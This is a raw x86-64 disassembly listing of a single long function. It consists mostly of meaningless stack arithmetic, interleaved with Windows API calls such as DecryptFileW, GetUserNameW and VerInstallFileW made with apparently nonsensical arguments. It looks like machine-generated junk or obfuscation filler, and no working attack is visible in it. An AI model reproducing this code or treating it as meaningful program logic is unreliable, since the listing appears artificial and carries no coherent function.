mov ecx, dword [0x14019efac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x63c8], eax
movzx eax, byte [rsp + 0x4a1]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4e8], al
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb650]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c50], rax
mov rax, qword [rsp + 0xd118]
mov rcx, qword [rsp + 0xcfb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6cf8], eax
movzx eax, byte [rsp + 0x362]
mov byte [rsp + 0x4eb], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019d034]
sar eax, cl
mov word [rsp + 0x2a74], ax
xor r8d, r8d
mov rdx, qword [rsp + 0xd168]
mov rcx, qword [rsp + 0xce38]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x6d04], eax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a60]
shl eax, cl
mov word [0x14019d038], ax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov qword [rsp + 0xd170], rax
mov rax, qword [rsp + 0xd0b8]
mov rcx, qword [rsp + 0xb590]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd0d8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x2a6c]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a74], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d98]
and eax, ecx
mov word [rsp + 0xd94], ax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5dfc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6cf8], eax
mov rax, qword [rsp + 0xd120]
mov qword [rsp + 0xd178], rax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x362]
sar eax, cl
mov byte [rsp + 0x4e5], al
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0x9d98]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xced0]
movzx eax, word [rax]
mov word [0x14019eff8], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x29a8], ax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e2]
sub eax, ecx
mov byte [rsp + 0x2b2], al
mov eax, dword [rsp + 0x6c78]
mov dword [rsp + 0x6d08], eax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xcf80]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb650]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa78], rax
lea rax, [rsp + 0x4e5]
mov qword [rsp + 0xd180], rax
mov eax, dword [0x14019efb0]
mov ecx, dword [rsp + 0x5dfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
lea rax, [rsp + 0x2a64]
mov qword [rsp + 0xd188], rax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xd190], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd190]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd000], rax
movzx eax, word [rsp + 0x183c]
movzx ecx, word [rsp + 0x2a44]
sar eax, cl
mov word [rsp + 0x2a3c], ax
mov rax, qword [rsp + 0xce08]
movzx eax, word [rax]
mov word [rsp + 0x2a88], ax
mov rax, qword [rsp + 0xd048]
mov rcx, qword [rsp + 0xd170]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0b8], rax
lea rax, [rsp + 0x6bd0]
mov qword [rsp + 0xd198], rax
mov rax, qword [rsp + 0xd110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa0a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd0e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
xor eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x29a8]
sub eax, ecx
mov word [rsp + 0x2a4c], ax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
mov qword [0x14019f000], rax
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6450]
mov dword [rsp + 0x6c78], eax
lea rax, [rsp + 0x4e9]
mov qword [rsp + 0xd1a0], rax
mov rax, qword [rsp + 0xd188]
movzx eax, word [rax]
mov word [rsp + 0x2a8c], ax
mov rax, qword [0x14019efd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d98]
or eax, ecx
mov word [rsp + 0xf84], ax
mov eax, dword [rsp + 0x6c24]
mov rcx, qword [rsp + 0xd058]
mov qword [rsp + 0xd1a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x69f8], eax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4e3], al
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xd110]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcfd8], rax
mov r8w, 0x25
mov rdx, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xd1b0]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0x2a5c], ax
mov rax, qword [rsp + 0xce08]
movzx eax, word [rax]
mov word [rsp + 0x2a90], ax
mov rcx, qword [rsp + 0xd1b8]
call qword [sym.imp.SHELL32.dll_DragFinish]
movzx eax, word [rsp + 0xcc8]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019ef98], ax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcf48], rax
lea rax, [rsp + 0xcf80]
mov qword [rsp + 0xd1c0], rax
mov rax, qword [rsp + 0xd128]
mov rcx, qword [rsp + 0x9d98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1548], ax
lea rax, [rsp + 0xa0a8]
mov qword [rsp + 0xd1c8], rax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd058]
mov qword [rsp + 0xd1d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x67], al
mov eax, dword [0x14019efac]
mov ecx, dword [rsp + 0x60c4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c78], eax
lea rax, [rsp + 0x3fb]
mov qword [rsp + 0xd1d8], rax
lea rax, [rsp + 0xcde8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1ef60]
lea r8, [rsp + 0xd138]
mov edx, 0xa2
lea rcx, [rsp + 0xcf50]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x6bb8], eax
lea rax, [rsp + 0x2a2c]
mov qword [0x14019f008], rax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a68]
xor eax, ecx
mov word [rsp + 0xcc8], ax
mov rax, qword [0x14019efd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a3c]
sar eax, cl
mov rcx, qword [rsp + 0xd148]
mov word [rcx], ax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov qword [rsp + 0xd1e0], rax
mov rax, qword [rsp + 0xd198]
mov rcx, qword [rsp + 0xd0d0]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6d00], eax
lea rax, [rsp + 0x9c50]
mov qword [rsp + 0xd1e8], rax
movsx eax, byte [rsp + 0x461]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
shl eax, cl
mov word [rsp + 0x2a34], ax
movzx eax, word [rsp + 0x2a70]
mov word [rsp + 0x2a94], ax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd1e0]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14019d040], rax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
movzx ecx, word [0x14019d02c]
sar eax, cl
mov word [rsp + 0x2a80], ax
mov rax, qword [rsp + 0xd1c0]
mov rcx, qword [rsp + 0xce78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xab00], rax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xd0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd1e0], rax
mov rax, qword [rsp + 0xd118]
mov ecx, dword [rsp + 0x69f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6bd0], eax
movzx eax, byte [rsp + 0x4ea]
mov byte [rsp + 0x4ec], al
movzx eax, byte [rsp + 0x4e8]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
mov byte [rsp + 0x4a1], al
mov rax, qword [rsp + 0xd050]
mov rcx, qword [rsp + 0xd150]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6254], eax
mov rax, qword [rsp + 0xd110]
mov rcx, qword [rsp + 0xd1c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa0a8], rax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a7c]
xor eax, ecx
mov word [0x14019d034], ax
movsx eax, word [rsp + 0x2a64]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a50], ax
movzx eax, word [rsp + 0x2a78]
mov word [rsp + 0x2a98], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a48]
or eax, ecx
mov word [rsp + 0x2a78], ax
movzx eax, byte [rsp + 0x4eb]
mov byte [rsp + 0x4ed], al
mov eax, dword [rsp + 0x69f8]
mov rcx, qword [rsp + 0xd198]
mov qword [rsp + 0xd1f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd1f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6c24], eax
mov edx, SHUpdateImageW
mov rcx, qword [rsp + 0xd1f8]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x6cbc], eax
mov rax, qword [rsp + 0xc330]
mov rcx, qword [rsp + 0xd1c8]
mov qword [rsp + 0xd200], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd200]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xccc8], rax
movsx eax, word [rsp + 0x2a34]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1548], ax
movzx eax, word [rsp + 0x2a40]
mov rcx, qword [0x14019efd0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a70], ax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaa88]
shl rax, cl
mov qword [0x14019d040], rax
mov rax, qword [rsp + 0xd128]
mov qword [rsp + 0xd208], rax
mov rax, qword [rsp + 0xceb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcdc8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcac8], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xd1c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbf08], rax
movzx eax, word [rsp + 0x2a3c]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a4c], ax
mov rax, qword [rsp + 0xd050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5918]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd0f8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x4e2]
mov byte [rsp + 0x4ee], al
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4eb]
xor eax, ecx
mov byte [rsp + 0x346], al
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
mov dword [rsp + 0x6d0c], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov qword [0x14019f010], rax
movsx eax, word [rsp + 0x2a50]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1548], ax
movsx eax, word [0x14019d034]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a88], ax
movzx eax, word [rsp + 0xf84]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b08], ax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [0x14019efc0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd170], rax
mov rax, qword [rsp + 0x9c50]
mov qword [rsp + 0xd210], rax
movsx eax, byte [rsp + 0x4ea]
movsx ecx, byte [rsp + 0x64]
sub eax, ecx
mov byte [rsp + 0x4e6], al
mov rax, qword [rsp + 0xd058]
mov ecx, dword [0x14019efb0]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x5b3c], eax
movsx eax, word [rsp + 0x2a64]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1810], ax
movzx eax, word [rsp + 0xd94]
movzx ecx, word [0x14019ef98]
sub eax, ecx
mov word [0x14019d048], ax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9d98]
sar rax, cl
mov qword [rsp + 0xcac8], rax
movzx eax, word [rsp + 0x1b08]
mov word [rsp + 0x2a9c], ax
lea rdx, [rsp + 0x21410]
mov rcx, qword [rsp + 0xcde8]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov dword [rsp + 0x6bb8], eax
movzx eax, byte [rsp + 0x4e2]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3fb], al
mov rax, qword [rsp + 0xd150]
mov rcx, qword [rsp + 0xd050]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5b24], eax
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5dfc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd178]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd110]
mov qword [rcx], rax
lea rax, [rsp + 0x4e0]
mov qword [rsp + 0xd218], rax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2a64], ax
lea rax, [rsp + 0x2a4c]
mov qword [0x14019f018], rax
mov rax, qword [rsp + 0x9b60]
mov qword [rsp + 0xd220], rax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd220], rax
movsx eax, word [rsp + 0x1810]
mov rcx, qword [rsp + 0xd0b0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a6c], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov word [rsp + 0x2aa0], ax
mov rax, qword [rsp + 0xd218]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4eb], al
mov eax, dword [rsp + 0x5cf0]
mov ecx, dword [0x14019efb0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b50], eax
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xcef0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd210], rax
mov rax, qword [rsp + 0xcfe0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfe8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd000], rax
movsx eax, word [rsp + 0x2a90]
movsx ecx, word [rsp + 0x2a84]
add eax, ecx
mov word [0x14019d034], ax
lea rax, [rsp + 0x183c]
mov qword [rsp + 0xd228], rax
mov rax, qword [rsp + 0xd0f8]
mov rcx, qword [rsp + 0xd050]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5918], eax
mov rax, qword [rsp + 0xd1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x4ef], al
mov rax, qword [rsp + 0xd0b8]
mov rcx, qword [rsp + 0xd1c0]
mov qword [rsp + 0xd230], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd230]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcac8], rax
mov rax, qword [rsp + 0xd1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcef0]
mov qword [rsp + 0xd238], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd238]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9f68], rax
mov rax, qword [rsp + 0xd198]
mov ecx, dword [rsp + 0x6d0c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6c24], eax
movsx eax, byte [rsp + 0x346]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd180]
mov byte [rcx], al
mov r9d, 0x74
lea r8, [rsp + 0x2a5c]
lea rdx, [fcn.14017e790]
mov rcx, qword [rsp + 0xcea8]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x6cfc], eax
movzx eax, word [rsp + 0x2a74]
mov word [rsp + 0x2aa4], ax
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov word [0x14019f020], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xd128]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd088], rax
movzx eax, word [rsp + 0x2aa0]
mov word [rsp + 0x2aa8], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a6c]
xor eax, ecx
mov word [rsp + 0x2a74], ax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xd1c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xcfe0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x4e6]
movsx ecx, byte [rsp + 0x4ec]
sub eax, ecx
mov byte [rsp + 0x344], al
mov eax, dword [rsp + 0x5b3c]
mov rcx, qword [rsp + 0xd118]
mov qword [rsp + 0xd240], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd240]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x69f8], eax
lea rax, [0x14019d020]
mov qword [rsp + 0xd248], rax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a68], ax
mov rax, qword [rsp + 0xcf48]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
shl rax, cl
mov qword [0x14019d040], rax
mov rax, qword [rsp + 0xd0f8]
mov ecx, dword [rsp + 0x6c78]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6254], eax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov byte [rsp + 0x4f0], al
movsx eax, word [rsp + 0x2a64]
movsx ecx, word [rsp + 0x2760]
add eax, ecx
mov word [rsp + 0x2a84], ax
mov rax, qword [0x14019f018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x20b0], ax
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5b3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd198]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xd0e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaa78], rax
mov rax, qword [rsp + 0xd0a8]
movzx eax, byte [rax]
mov byte [rsp + 0x4f1], al
movsx eax, word [rsp + 0x2a50]
movsx ecx, word [rsp + 0x2760]
sar eax, cl
mov word [rsp + 0x2a84], ax
movzx eax, word [0x14019d048]
movzx ecx, word [rsp + 0x2a80]
shl eax, cl
mov word [0x14019f020], ax
mov rax, qword [rsp + 0xd048]
mov qword [rsp + 0xd250], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xd1c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd250], rax
mov rax, qword [rsp + 0xd000]
mov rcx, qword [0x14019efe0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9828], rax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a2c], ax
movsx eax, byte [rsp + 0x344]
movsx ecx, byte [0x14019ef92]
or eax, ecx
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x6d0c]
mov dword [rsp + 0x6d10], eax
mov rax, qword [rsp + 0xd0e8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd178]
shl rax, cl
mov qword [rsp + 0xaa78], rax
mov eax, dword [0x14019efa8]
movzx ecx, al
mov eax, dword [rsp + 0x6c94]
sar eax, cl
mov dword [rsp + 0x6af0], eax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd0c0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd188]
movzx eax, word [rax]
mov word [0x14019f024], ax
movzx eax, word [0x14019d038]
movzx ecx, word [rsp + 0x2a60]
add eax, ecx
mov word [rsp + 0x2a78], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [rsp + 0x2aac], ax
mov rax, qword [rsp + 0xd170]
mov rcx, qword [rsp + 0xab00]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [0x14019efc8]
mov eax, dword [rax]
mov dword [rsp + 0x6d14], eax
mov rax, qword [rsp + 0xb6e0]
mov rcx, qword [rsp + 0xd120]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfd8], rax
mov rax, qword [rsp + 0xd180]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x67]
add eax, ecx
mov byte [rsp + 0x64], al
mov rdx, qword [rsp + 0xd1f8]
lea rcx, [rsp + 0x1fb60]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
mov dword [rsp + 0x6d18], eax
lea rax, [rsp + 0x2a74]
mov qword [rsp + 0xd258], rax
movzx eax, word [rsp + 0x2a80]
movzx ecx, word [rsp + 0x20b0]
or eax, ecx
mov word [rsp + 0x2aa0], ax
mov r8w, 0x42
mov rdx, qword [rsp + 0xce48]
mov rcx, qword [rsp + 0xcdd8]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0x2a58], ax
mov rax, qword [rsp + 0xb590]
movzx ecx, al
mov rax, qword [rsp + 0xbf08]
sar rax, cl
mov qword [0x14019d050], rax
mov rax, qword [0x14019f018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x183c]
and eax, ecx
mov word [rsp + 0x28e0], ax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xab00]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb590], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov qword [rsp + 0xd260], rax
mov eax, dword [rsp + 0x6d0c]
movzx ecx, al
mov eax, dword [rsp + 0x6cf4]
shl eax, cl
mov dword [rsp + 0x6c24], eax
lea rax, [rsp + 0x6c08]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xcde0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xd268]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xcf90]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xce48]
mov r8, qword [rsp + 0xd1b0]
mov rdx, qword [rsp + 0xcde8]
mov ecx, 0x7a
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x6d1c], eax
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd178]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd098]
mov qword [rsp + 0xd270], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd270]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x66ac], eax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45a]
sar eax, cl
mov byte [rsp + 0x4e9], al
mov rax, qword [rsp + 0xd158]
movzx eax, byte [rax]
mov byte [rsp + 0x4f2], al
lea rax, [0x14019efd8]
mov qword [0x14019f028], rax
movsx eax, word [rsp + 0x2a34]
movsx ecx, word [rsp + 0x2a6c]
or eax, ecx
mov word [rsp + 0x2a38], ax
movzx eax, word [rsp + 0x2a54]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d98], ax
movzx eax, word [rsp + 0x2a70]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcbc], ax
mov rax, qword [rsp + 0xd110]
mov rcx, qword [rsp + 0xd0e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd210], rax
mov eax, dword [0x14019efb0]
mov dword [rsp + 0x6d20], eax
mov rax, qword [rsp + 0xd180]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4ec], al
movsx eax, word [rsp + 0x2a50]
movsx ecx, word [rsp + 0x2a74]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [0x14019efa0]
movzx eax, word [rax]
mov word [rsp + 0x2ab0], ax
lea rax, [rsp + 0xd260]
mov qword [0x14019f030], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb590]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf48], rax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [0x14019f030]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xacf8], rax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2aa0]
shl eax, cl
mov word [rsp + 0x2a9c], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov byte [rsp + 0x4f3], al
mov eax, dword [rsp + 0x6c78]
mov ecx, dword [rsp + 0x6c94]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6450], eax
mov eax, dword [rsp + 0x5b3c]
mov rcx, qword [rsp + 0xcfb0]
mov qword [rsp + 0xd278], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd278]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6098], eax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4ea]
sub eax, ecx
